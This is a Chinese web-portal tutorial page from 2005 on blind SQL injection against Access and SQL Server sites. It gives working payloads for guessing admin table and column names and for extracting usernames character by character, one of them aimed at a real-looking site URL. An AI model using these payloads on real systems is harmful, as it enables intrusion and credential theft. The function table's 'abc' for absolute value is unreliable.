首 页详细分类去玩游戏网络学院千一MTV软件下载音乐无极无极天下社区繁體中文
SQL注入步骤和常用函数以及中文处理方法 设为首页
加入收藏
联系我们
学院: 站长学堂 | 网站开发 | 设计学院 | 软件教程 | 数据库类 | 编程经验 | 服务器类 | 网络技术 | 黑客破解 | 维修中心 | [更多]
源码: ASP 源码 | PHP 源码 | JSP 源码 | CGI 源码 | .NET源码 | FLA 源码 | JAVA源码 |Delphi源码| PB 源码 | VC/C++源码 | 其 它
软件: 系统工具 | 网络工具 | 多媒体类 | 图形图像 | 应用软件 | 行业软件 | 教育教学 | 安全相关 | 联络聊天 | 电子书籍 | [更多]
视频: 网络技术 | 图像动画 | 程序设计 | 机械电子 | 外语学习 | 手机: 手机软件 | 手机游戏手机电影手机维修手机铃声
电驴: 电驴电影 | 电驴游戏电驴音乐电驴软件电驴动漫 | 电驴剧集电驴资料电驴综艺电驴杂志 | [更多电驴共享]
您当前的位置:itlove -> 教育认证 -> Macrmedia认证 -> SQL注入步骤和常用函数以及中文处理方法 退出登录 用户管理
推荐精品
热门下载
数据载入中...
热门技术文章
  • ·MDAC2.8下载!
  • ·Sun公司的操作系统:Solaris简介
  • ·RM转VCD/SVCD/DVD/WMV/AVI/MPEG4的终极高手--超级…...
  • ·笔记本电脑解密方法大全
  • ·C#介绍
  • ·win2k NTLDR丢失故障的解决
  • ·教你用PHOTOSHOP制作一寸照片
  • ·JBoss及Lomboz的下载与安装
  • ·PHP入门速成
  • ·入侵六合彩--- 1次入侵的扩散性思维的利用
  • ·SQL Server 服务器安装剖析
  • ·MySQL的JDBC驱动程序下载地址
  • 相关技术文章
  • ·SQL注入网站入侵实例
  • ·SQL注入漏洞全接触(入门篇)
  • ·SQL注入漏洞全接触(进阶篇)
  • ·SQL注入漏洞全接触(高级篇 )
  • ·如何防范SQl注入
  • ·[组图]NAT上网碰到的奇怪现象的处理方法之一:MTU修...
  • ·SQL注入步骤和常用函数以及中文处理方法
  • ·浅谈SQL注入式(SQLinjection)攻击与防范
  • ·双机直连故障现象及处理方法
  • ·常见光驱故障及处理方法
  • ·显示器开机模糊的处理方法
  • ·内存混用的处理方法
  • SQL注入步骤和常用函数以及中文处理方法
    作者:Ahaoz.CoM  来源:本站整理  发布时间:2005-12-30 18:51:29  发布人:admin



      第一节、SQL注入的一般步骤
      首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
      
      其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
      
      (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
      Select * from 表名 where 字段=49
      注入的参数为ID=49 And [查询条件],即是生成语句:
      Select * from 表名 where 字段=49 And [查询条件]
      
      (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
      Select * from 表名 where 字段=’连续剧’
      注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
      Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
      
      (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
      Select * from 表名 where 字段like ’%关键字%’
      注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
      Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
      
      接着,将查询条件替换成SQL语句,猜解表名,例如:
      
      ID=49 And (Select Count(*) from Admin)>=0
      
      如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
      
      表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
      
      有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
      
      有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
      
      最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
      
      我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
      
      http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
      
      先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
      
      当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
      
      id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
      
      同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
      
      第二节、SQL注入常用函数
      有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
      
      Access:asc(字符) SQLServer:unicode(字符)
      作用:返回某字符的ASCII码
      
      Access:chr(数字) SQLServer:nchar(数字)
      作用:与asc相反,根据ASCII码返回字符
      
      Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
      作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
      
      Access:abc(数字) SQLServer:abc (数字)
      作用:返回数字的绝对值(在猜解汉字的时候会用到)
      
      Access:A between B And C SQLServer:A between B And C
      作用:判断A是否界于B与C之间
      
      第三节、中文处理方法
      在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
      
      先说一点常识:
      
      Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
      
      SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
      
      了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。


       
    [数据载入中...] [返回上一页] [打 印] [收 藏]
     
    相关技术文章 搜索
  • ★ 在迅雷中搜索更多SQL注入步骤和常用函数以及中文处理方法相关内容
  • ★ 在百度中搜索更多SQL注入步骤和常用函数以及中文处理方法相关内容
  • ★ 在GOOGLE中搜索更多SQL注入步骤和常用函数以及中文处理方法相关内容
  • ★ 在SOGOU中搜索更多SQL注入步骤和常用函数以及中文处理方法相关内容
  • ★ 在雅虎中搜索更多SQL注入步骤和常用函数以及中文处理方法相关内容
  • ★ 在腾讯SoSo中搜索更多SQL注入步骤和常用函数以及中文处理方法相关内容
  • ★ 在中国搜索中搜索更多SQL注入步骤和常用函数以及中文处理方法相关内容
  •  
    相关技术文章评论    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]

    用户名
    分 值 100分 85分 70分 55分 40分 25分 10分 0分
    说 明
      (注“”为必填内容。)
     
    关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站地图
    本页主要内容:SQL注入步骤和常用函数以及中文处理方法
    Copyright © 2002-2008 itlove.net. All Rights Reserved .  苏ICP备05061636号